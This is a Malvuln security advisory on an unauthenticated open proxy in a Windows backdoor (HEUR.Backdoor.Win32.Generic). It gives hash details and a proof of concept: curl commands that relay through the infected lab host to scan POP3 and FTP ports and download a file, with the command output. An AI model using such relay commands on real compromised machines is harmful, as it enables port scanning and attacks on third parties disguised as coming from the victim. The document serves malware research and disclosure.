HEUR.Backdoor.Win32.Generic Unauthenticated Open Proxy

`Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/f2b5429feaa7d229418cf499ce5f5822.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: HEUR.Backdoor.Win32.Generic  
Vulnerability: Unauthenticated Open Proxy   
Description: The malware listens on TCP ports 1080, 8080. Third-party attackers who can connect to the infected system can relay requests from the original connection to the destination and then back to the origination system. Attackers may then be able to launch attacks, download files or port scan third party systems and it will appear as the attacks originated from that infected host.  
Type: PE32  
MD5: f2b5429feaa7d229418cf499ce5f5822  
Vuln ID: MVID-2021-0294  
Dropped files: system.dll   
Disclosure: 07/18/2021  
  
Exploit/PoC:  
Scan port 110)  
  
curl http://192.168.18.129:8080 -H "Host: 192.168.18.128:110"  
+OK INetSim POP3 Server ready <19486.1626574693@pop3host>  
-ERR Unknown command.  
-ERR Unknown command.  
  
Scan port 21)  
  
curl http://192.168.18.129:8080 -H "Host: 192.168.18.128:21"  
220 INetSim FTP Service ready.  
500 Unknown command.  
500 Unknown command.  
  
Download filez)  
  
curl http://192.168.18.129:8080/DOOM.exe -H "Host: 192.168.18.128" --out DOOM.exe  
% Total % Received % Xferd Average Speed Time Time Time Current  
Dload Upload Total Spent Left Speed  
100 24576 100 24576 0 0 24576 0 0:00:01 --:--:-- 0:00:01 102k  
  
  
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